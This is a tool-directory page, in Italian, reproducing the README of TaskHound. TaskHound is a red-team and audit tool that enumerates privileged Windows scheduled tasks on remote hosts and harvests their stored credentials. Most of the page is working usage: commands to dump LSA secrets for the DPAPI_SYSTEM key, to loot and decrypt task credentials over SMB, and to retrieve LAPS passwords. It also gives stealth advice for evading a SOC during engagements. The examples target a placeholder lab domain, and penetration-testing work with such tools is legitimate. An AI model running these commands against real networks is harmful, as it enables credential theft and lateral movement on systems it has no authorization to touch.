Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
TaskHound — Strumento per enumerare attività pianificate privilegiate su sistemi remoti | Kitploit
Strumenti/GitHubGitHub/1r0bit/taskhound
Escalation di PrivilegiRicognizioneMovimento LateraleRaccolta InformazioniPost-ExploitPenetration TestingRed Teaming
GitHub1r0bit/taskhound

TaskHound

Strumento per enumerare attività pianificate privilegiate su sistemi remoti

Vedi Repository
3122545 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Logo di TaskHound

Strumento per la scoperta di attività pianificate privilegiate su Windows per divertimento e profitto.

Ultima release BloodHound OpenGraph Python 3.11+
Chiedi a DeepWiki Twitter Blog


TaskHound caccia le attività pianificate di Windows che vengono eseguite con account privilegiati e credenziali memorizzate. Enumera le attività tramite SMB, analizza i file XML e identifica opportunità di attacco ad alto valore attraverso l'integrazione con BloodHound.

Per retroscena e spiegazioni dettagliate: vedi i post associati del Blog - Parte 1 e Parte 2.

Caratteristiche principali

Avvio rapido```bash

Install

git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .

Basic usage - single target

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple targets with threading

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10

Auto-discover all domain computers

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20

With LAPS - auto-retrieves per-host local admin passwords

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

Offline analysis of mounted disk image

taskhound --offline-disk /mnt/disk

root@kitploit:~
> **Supporto per l'autenticazione**: TaskHound supporta la maggior parte dei principali meccanismi di autenticazione, tra cui password, NTLM hash, Kerberos (anche con ccache) e autenticazione con chiave AES.

## File di Configurazione

TaskHound supporta file di configurazione TOML per impostazioni persistenti. Crea `taskhound.toml` nella tua directory di lavoro o in `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"

[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30

[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}"      # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"

[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"

[laps]
enabled = true

[cache]
enabled = true
ttl = 86400  # 24 hours

Priorità : argomenti CLI > Variabili d'ambiente > Configurazione locale > Configurazione utente > Predefiniti

Integrazione con AdaptixC2

Il BOF di TaskHound è incluso nell'Adaptix Extension-Kit sotto SAR-BOF/taskhound/.

Output di esempio```

TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD

root@kitploit:~
                 by 0xr0BIT

[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)

┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘

╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯

root@kitploit:~
---

## Integrazione BloodHound

TaskHound supporta sia **Legacy BloodHound** (Neo4j) che **BloodHound Community Edition (BHCE)** con rilevamento automatico del formato.

### Connessione Live```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"

# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-user admin --bh-password password

# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
  --bh-user neo4j --bh-password password

Metodi di Rilevamento Tier 0

Acquisizione Dati Offline

Se non è possibile una connessione live, esporta gli utenti di alto valore con queste query Cypher:

BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;

root@kitploit:~
**Eredità:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups

Then use: taskhound --bh-data exported_users.json ...


Visualizzazione del Percorso di Attacco OpenGraph

Percorso di attacco OpenGraph

TaskHound crea nodi e archi personalizzati in BloodHound CE per visualizzare i percorsi di attacco delle attività pianificate.

Cosa ottieni:

  • Nodi personalizzati: ScheduledTask con oltre 20 proprietà (credenziali, trigger, analisi delle password, stato di validazione)
  • Archi personalizzati: HasTask, HasTaskWithStoredCreds, RunsAs
  • Percorsi di attacco: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash

Collect and auto-upload

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph

Generate without upload (saves to {output_dir}/opengraph/)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload

root@kitploit:~
> **Nota**: OpenGraph è solo per BHCE. BloodHound Legacy non supporta tipi di nodo personalizzati.

---

## Integrazione LAPS

TaskHound può recuperare e utilizzare automaticamente le password LAPS per l'autenticazione per host. Supporta sia Windows LAPS (`msLAPS-Password`) che Legacy LAPS (`ms-Mcs-AdmPwd`), incluse le password crittografate tramite MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin

# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps

Tipi di LAPS supportati:

TipoAttributoCrittografato
Windows LAPSmsLAPS-PasswordNo

Estrazione delle credenziali DPAPI

TaskHound estrae e decrittografa le credenziali dei task memorizzate utilizzando DPAPI. Il saccheggio di DPAPI è abilitato per impostazione predefinita.```bash

Step 1: Get DPAPI_SYSTEM key via LSA dump

nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa

Look for: DPAPI_SYSTEM userkey: 0x51e43225...

Step 2a: Loot + decrypt immediately (looting is default, just add key)

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...

Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local

Later:

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

Custom output directory

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected

Disable DPAPI looting explicitly

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot

root@kitploit:~
> **Importante**: Ogni host ha una chiave DPAPI_SYSTEM univoca. Per scansioni multi-target, raccogli (impostazione predefinita), poi decifra ogni target offline.

---

## Convalida delle Credenziali

TaskHound valuta se le password delle attività memorizzate sono probabilmente ancora valide interrogando la cronologia di esecuzione delle attività tramite RPC e applicando euristiche. Questa funzione è **abilitata per impostazione predefinita**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds

Come funziona

Windows Task Scheduler registra solo le esecuzioni riuscite delle attività. I fallimenti di autenticazione (password errata, account bloccato, ecc.) vengono ignorati silenziosamente. L'attività semplicemente non viene eseguita.

Intuizione chiave: Windows convalida le credenziali al momento della creazione dell'attività. Se provi a creare un'attività con una password errata, ottieni ERROR_LOGON_FAILURE e l'attività non viene creata. Questo significa: se esiste un'attività con credenziali memorizzate, la password era valida quando l'attività è stata creata.

TaskHound utilizza euristiche per stimare la validità delle credenziali:

L'intuizione chiave: confrontare pwdLastSet da AD con LastRunTime da Task Scheduler ci dice se la password è cambiata dopo l'ultima esecuzione riuscita. Per le attività mai eseguite, confrontare pwdLastSet con data_creazione_attività ci dice se la password è cambiata dopo che l'attività è stata creata con credenziali valide.

Senza dati AD (es. --no-ldap e nessun BloodHound): TaskHound torna alla modalità solo RPC, utilizzando solo il codice di ritorno e l'ora dell'ultima esecuzione. Un'esecuzione riuscita restituisce LIKELY_VALID; il rilevamento di obsolescenza basato sulla pianificazione si applica ancora se l'intervallo del trigger è noto dall'XML dell'attività.

Nota: Disabilitato quando si usa --opsec o --no-rpc.


Formati di Output

TaskHound supporta più formati di output per diversi casi d'uso. Tutti gli output utilizzano una struttura di directory organizzata sotto --output-dir (predefinito: ./output).

Formati Disponibili

Esempi di Utilizzo```bash

Default - plain text to console + files

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple output formats

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html

JSON only for automation

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json

Custom output directory

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results

All formats for comprehensive audit

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit

root@kitploit:~
### Struttura della Directory```
./output/                           # Base directory (--output-dir)
├── plain/                          # Plain text output
│   └── <hostname>/
│       └── tasks.txt
├── json/                           # JSON export
│   └── taskhound.json
├── csv/                            # CSV export
│   └── taskhound.csv
├── html/                           # HTML security reports
│   └── taskhound.html
├── opengraph/                      # BloodHound OpenGraph files
│   └── taskhound_data.json
└── raw_backups/                    # Raw collection (XML + DPAPI)
    └── <hostname>/
        ├── tasks/                  # Task XML files
        └── dpapi_loot/             # DPAPI credential blobs

Report di Sicurezza HTML

L'output HTML genera un report di sicurezza completo progettato per le valutazioni del blue team:

  • Punteggio di Gravità: Attività valutate in base al livello di rischio basato su privilegi, credenziali memorizzate e configurazione
  • Dettagli dell'Attività: Metadati completi inclusi trigger, azioni, account di esecuzione e stato di convalida
  • Filtraggio: Filtraggio lato client per host, gravità e stato delle credenziali
  • Pronto per l'Esportazione: Adatto per report gestionali e documentazione di audit

Raccolta di Backup

Per impostazione predefinita, TaskHound salva i file XML grezzi delle attività e i blob di credenziali DPAPI per l'analisi offline:```bash

Disable backup collection

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup

Analyze backups later (offline mode)

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

root@kitploit:~
---

## Scansione multi-threaded

Per ambienti di grandi dimensioni, utilizzare la scansione parallela con limitazione della velocità:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5

# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20

# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90

# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0

Filtraggio Automatico dei Target

Per impostazione predefinita, --auto-targets applica un filtraggio intelligente per ridurre il rumore e le connessioni fallite:

FiltroPredefinitoOverride
Account disabilitati

Priorità delle origini dati: BloodHound (se configurato) → fallback LDAP

Quando si utilizza BloodHound, TaskHound interroga con include_properties=true per un'enumerazione efficiente con una singola query. Se i dati di BloodHound sono più vecchi di 7 giorni, viene visualizzato un avviso; oltre 30 giorni viene attivato un avviso urgente.

Preimpostazioni filtro:

  • servers - Solo sistemi operativi Windows Server
  • workstations - Solo sistemi operativi non server
  • (raw LDAP) - Filtro LDAP personalizzato (richiede origine LDAP)

Risoluzione SID

TaskHound risolve i SID in nomi leggibili utilizzando una catena di fallback a più livelli:

  1. BloodHound (se connesso) - il più veloce, nessun traffico di rete
  2. Cache - cache persistente SQLite (TTL predefinito 24h)
  3. LSARPC - query diretta al target (la più accurata per account locali)
  4. LDAP - query al controller di dominio
  5. Catalogo globale - per SID cross-dominio/forest```bash

Separate LDAP credentials for SID resolution

taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local

Specify Global Catalog for multi-domain

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1

Disable all network-based resolution (OPSEC)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec

root@kitploit:~
---

## Analisi Offline

Analizza le attività senza accesso alla rete:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local

# Mounted disk image
taskhound --offline-disk /mnt/disk

# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE

Considerazioni OPSEC

TaskHound offre un controllo granulare sulle operazioni di rete per bilanciare furtività e funzionalità.

Impatto sui protocolli

Catena di risoluzione SID```

Default: BloodHound → Cache → LSARPC → LDAP → GC --no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC --opsec: BloodHound → Cache (only)

root@kitploit:~
### Comportamento predefinito

TaskHound è **molto rumoroso per impostazione predefinita** – tutte le funzionalità sono abilitate per la massima visibilità. Questo lo rende ideale per audit e valutazioni complete in cui l'OPSEC non è un problema:

- **Rilevamento Credential Guard** – Abilitato per impostazione predefinita (disabilita con `--no-credguard`)
- **Validazione delle credenziali** – Abilitato per impostazione predefinita (disabilita con `--no-validate-creds`)
- **Svuotamento DPAPI** – Abilitato per impostazione predefinita (disabilita con `--no-loot`)
- **Risoluzione LDAP** – Abilitato per impostazione predefinita (disabilita con `--no-ldap`)
- **Operazioni RPC** – Abilitato per impostazione predefinita (disabilita con `--no-rpc`)

> [!WARNING]
> **I controlli di Credential Guard sono ALTAMENTE rilevabili.** Poiché il servizio Registro remoto è disabilitato per impostazione predefinita sui Windows moderni, TaskHound **avvierà da remoto il servizio** tramite SCM, eseguirà i controlli e poi lo fermerà (proprio come secretsdump). Questo farà accendere un qualsiasi SOC decente come un albero di Natale. **Usa sicuramente `--no-credguard` se vuoi evitarlo durante gli engagement!**

Parlando di Engagement: per operazioni red team/stealth, usa `--opsec` per disabilitare tutte le funzionalità rumorose in una volta. (Oppure usa il BOF).

### Esempi di utilizzo```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec

# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5

# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap

# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc

# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps

Migliori pratiche per la furtività

  1. Pre-caricare i dati di BloodHound - Importare prima i dati del dominio con --bh-live
  2. Usare il flag --opsec - Disabilita tutte le operazioni rumorose in una volta
  3. Aggiungere --jitter per la randomizzazione del timing - Evitare pattern di scansione prevedibili
  4. Raccogliere XML tramite altri mezzi - Analizzare offline con --offline
  5. Usare l'implementazione BOF - Disponibile in AdaptixC2

Riferimento completo CLI

TaskHound utilizza Rich per l'output della console formattato con tabelle colorate e indicatori di progresso.``` taskhound --help

root@kitploit:~
<details>
<summary>Clicca per espandere l'uso completo</summary>```
Usage: taskhound [OPTIONS] [TARGETS]

AUTHENTICATION OPTIONS
  -u, --username        Username (required for online mode)
  -p, --password        Password (omit with -k for Kerberos/ccache)
  -d, --domain          Domain (required for online mode)
  --hashes              NTLM hashes (LM:NT or NT-only)
  -k, --kerberos        Use Kerberos authentication
  --aes-key             AES key for Kerberos (32 or 64 hex chars)

TARGET OPTIONS
  -t, --target          Single target or comma-separated list
  --targets-file        File with targets, one per line
  --dc-ip               Domain controller IP
  --ns, --nameserver    DNS nameserver for lookups
  --timeout             Connection timeout in seconds (default: 5)
  --threads             Parallel worker threads (default: 10)
  --rate-limit          Max targets per second (default: unlimited)
  --jitter SECONDS      Random delay (0-N seconds) between hosts (OPSEC, sequential only)
  --dns-tcp             Force DNS over TCP (for SOCKS proxies)
  --auto-targets        Auto-discover targets (BloodHound first, LDAP fallback)
  --ldap-filter         Filter for auto-targets: 'servers', 'workstations', or raw LDAP
  --include-dcs         Include Domain Controllers in auto-targets
  --include-disabled    Include disabled computer accounts
  --stale-threshold     Exclude computers inactive >N days (default: 60, 0=disable)

SCANNING OPTIONS
  --offline             Parse XMLs from directory
  --offline-disk        Analyze mounted Windows filesystem
  --disk-hostname       Override hostname for offline-disk
  --bh-data             BloodHound export file for HV detection
  --opsec               Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
  --no-rpc              Disable RPC operations (LSARPC, CredGuard, validation)
  --include-ms          Include \Microsoft tasks
  --include-local       Include local system accounts
  --include-all         Include ALL tasks
  --unsaved-creds       Show tasks without stored credentials
  --no-credguard        Disable Credential Guard detection (default: enabled)
  --no-validate-creds   Disable credential validation (default: enabled)

BLOODHOUND OPTIONS
  --bh-live             Enable live BloodHound connection
  --bh-connector        BloodHound URI (default: http://127.0.0.1:8080)
  --bh-user             BloodHound username
  --bh-password         BloodHound password
  --bh-api-key          BloodHound API key
  --bh-api-key-id       BloodHound API key ID
  --bh-timeout          API query timeout (default: 120)
  --bhce                Use BHCE (Community Edition)
  --legacy              Use Legacy BloodHound (Neo4j)
  --bh-save             Save query results to file

OPENGRAPH OPTIONS (BHCE ONLY)
  --bh-opengraph        Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
  --bh-no-upload        Skip automatic upload
  --bh-force-icon       Force icon update
  --bh-icon             Icon name (default: clock)
  --bh-color            Icon color (default: #8B5CF6)
  --bh-allow-orphans    Create edges for missing nodes

DPAPI OPTIONS
  --no-loot             Disable DPAPI credential collection (default: enabled)
  --dpapi-key           DPAPI_SYSTEM userkey (hex format)

LDAP/SID RESOLUTION
  --no-ldap             Disable LDAP/GC operations
  --ldap-user           Alternative LDAP username
  --ldap-password       Alternative LDAP password
  --ldap-hashes         Alternative LDAP hashes
  --ldap-domain         Alternative LDAP domain
  --ldap-tier0          Enable LDAP-based Tier-0 detection
  --gc-server           Global Catalog server IP

LAPS OPTIONS
  --laps                Enable LAPS authentication
  --laps-user           Override local admin username
  --force-laps          Force LAPS in OPSEC mode

CACHE OPTIONS
  --cache-ttl           Cache TTL in seconds (default: 86400)
  --no-cache            Disable caching
  --clear-cache         Clear cache before run
  --cache-file          Cache file path

OUTPUT OPTIONS
  -o, --output          Output formats (comma-separated: plain,json,csv,html)
                        Default: plain
  --output-dir          Base output directory (default: ./output)
  --no-backup           Disable raw XML backup collection
  --no-summary          Disable summary table

  Output directory structure:
    ./output/
    ├── plain/<host>/tasks.txt    # Plain text output
    ├── json/taskhound.json       # JSON export
    ├── csv/taskhound.csv         # CSV export
    ├── html/taskhound.html       # HTML security report
    ├── opengraph/                # BloodHound OpenGraph files
    └── raw_backups/<host>/       # Raw XML + DPAPI files
        ├── tasks/                # Task XML files
        └── dpapi_loot/           # DPAPI credential blobs

MISC
  --verbose             Verbose output
  --debug               Debug output with stack traces

Roadmap

Quando l'assunzione di caffeina e il tempo libero si allineano:

Completati di recente

  • Autenticazione con chiave API - Richieste firmate HMAC-SHA256
  • Supporto LAPS - LAPS Windows + Legacy + crittografato tramite MS-GKDI
  • Elaborazione multi-thread - Scansione parallela con limitazione della velocità
  • Validazione delle credenziali - Verifica della validità delle password basata su RPC
  • Formati di output multipli - Plain, JSON, CSV, HTML con struttura di directory organizzata
  • Scoperta automatica dei target - Enumerazione dei computer basata su LDAP
  • Modalità disco offline - Analisi di immagini disco montate
  • Caching persistente - Cache SQLite per dati SID/LAPS
  • Output console ricco - Tabelle colorate e indicatori di progresso
  • Supporto cross-dominio - Ambienti multi-dominio con relazioni di trust

Pianificati

  • Modularizzazione delle fasi: Questo è diventato un colosso con troppi interruttori. Sistemerò.
  • Integrazione delle informazioni sugli abusi: Tecniche MITRE ATT&CK nei nodi di BloodHound
  • Mappature Tier-0 personalizzate: Supporto per zone di privilegio definite dall'utente in BHCE
  • Controlli Linux: Supporto per la scansione di sistemi operativi basati su *nix

Riconoscimenti

  • Fortra/Impacket - SMB/RPC/Kerberos, DPAPI-NG, MS-GKDI
  • SpecterOps/BloodHound - Analisi del percorso di attacco
  • Podalirius/bh-opengraph - Ispirazione per OpenGraph
  • Pennyw0rth/NetExec - Riferimento per l'implementazione di LAPS
  • jborean93/dpapi-ng - Ricerca su DPAPI-NG
  • tijldeneut/DPAPIck3 - Riferimento per la decrittazione DPAPI
  • gentilkiwi/mimikatz - Ricerca DPAPI

E tutti coloro che hanno contribuito a rendere accessibili gli strumenti di sicurezza offensiva.


Disclaimer

TaskHound è strettamente uno strumento di audit e didattico. Utilizzalo solo in ambienti di tua proprietà o per i quali hai esplicita autorizzazione. Sul serio. Non fare il furbo.

Contributing

PR benvenuti. Metà di questo è stato vibe-coding indotto dalla caffeina, quindi non aspettarti miracoli.

License

Usa responsabilmente. Nessuna garanzia fornita. Vedi LICENSE per i dettagli.

Scarica lo strumento
FunzionalitàDescrizione
Rilevamento Tier 0 & Alto ValoreIdentifica automaticamente le attività eseguite come Amministratori di Dominio, Amministratori Enterprise e altri account privilegiati
Integrazione BloodHoundConnettiti a istanze BHCE/Legacy live o importa esportazioni per il rilevamento di utenti ad alto valore
Supporto OpenGraphVisualizza le attività pianificate come nodi di percorso di attacco in BloodHound CE
Integrazione LAPSRecupera e utilizza automaticamente le password LAPS (sia Windows LAPS che Legacy) per l'autenticazione per host
Estrazione credenziali DPAPIRaccogli e decifra i blob DPAPI contenenti credenziali di attività memorizzate
Scansione multi-threadElaborazione parallela dei target con limitazione della velocità per ambienti di grandi dimensioni
Rilevamento Tier-0 basato su LDAPRileva account privilegiati tramite appartenenza a gruppi senza BloodHound
Validazione credenzialiVerifica se le password delle attività memorizzate sono ancora valide tramite RPC
Analisi offlineElabora immagini disco montate o file XML precedentemente raccolti
Formati di output multipliReport di sicurezza in testo semplice, JSON, CSV e HTML con punteggio di gravità
Risoluzione SIDRisoluzione multi-livello tramite BloodHound → Cache → LSARPC → LDAP → GC
CachingCache persistente basata su SQLite per le ricerche SID e le credenziali LAPS
FonteMetodo di Rilevamento
BHCEisTierZero, tag di sistema (admin_tier_0), AdminSDHolder
LegacyAdminSDHolder (admincount=1), rilevamento basato su SID
LDAPQuery di appartenenza ai gruppi (--ldap-tier0)
Built-inSID di Tier 0 noti (Domain Admins, Enterprise Admins, ecc.)
Windows LAPS
msLAPS-EncryptedPassword
Sì (MS-GKDI)
Legacy LAPSms-Mcs-AdmPwdNo
StatusMeaning
CONFIRMED_VALIDPassword invariata dalla creazione dell'attività E attività eseguita entro la pianificazione prevista - credenziali confermate funzionanti
HIGH_CONFIDENCE_VALIDPassword invariata dalla creazione dell'attività, ma tempistica del trigger sconosciuta (es. trigger di avvio) - credenziali probabilmente valide
LIKELY_VALIDPassword cambiata ma attività eseguita entro la pianificazione (credenziali aggiornate), OPPURE attività eseguita con successo (modalità solo RPC)
POSSIBLY_STALEL'attività avrebbe dovuto essere eseguita ma non lo è stata - potrebbe indicare credenziali obsolete
DEFINITELY_STALEPassword cambiata dopo l'ultima esecuzione riuscita - credenziali decisamente errate
NEVER_RAN_LIKELY_VALIDL'attività non è mai stata eseguita, ma password invariata dalla creazione - probabilmente valida (potrebbe mancare diritti di accesso batch)
NEVER_RAN_POSSIBLY_STALEL'attività non è mai stata eseguita e password cambiata dopo la creazione - probabilmente obsoleta
NEVER_RAN_UNKNOWNL'attività non è mai stata eseguita, nessun contesto AD - era valida alla creazione, stato attuale sconosciuto
UNKNOWNImpossibile determinare (account bloccato, ecc.)
FormatFlagDescriptionUse Case
Plain-o plainOutput console leggibile dall'uomo (predefinito)Uso interattivo, revisione rapida
JSON-o jsonEsportazione strutturata leggibile dalla macchinaAutomazione, analisi dati, scripting
CSV-o csvEsportazione compatibile con fogli di calcoloReportistica, filtraggio, analisi Excel
HTML-o htmlReport di sicurezza con punteggio di gravitàAudit del blue team, report per stakeholder
Esclusi
--include-disabled
Computer obsoleti (>60 giorni)Esclusi--stale-threshold 0 (disabilita)
Controller di dominioEsclusi--include-dcs
ProtocolloOperazioniFlag per disabilitare
SMBEnumerazione dei task (sempre usato)N/A
LDAP (389/636)Risoluzione SID, rilevamento Tier-0, pwdLastSet--no-ldap
Catalogo Globale (3268)Risoluzione SID tra domini--no-ldap
LSARPC (pipe SMB)Risoluzione SID di fallback--no-rpc
Registro Remoto (pipe SMB)Rilevamento Credential Guard--no-credguard
RPC di Task Scheduler (pipe SMB)Validazione delle credenziali--no-validate-creds
Raccolta file DPAPI (SMB)Raccolta blob di credenziali DPAPI--no-loot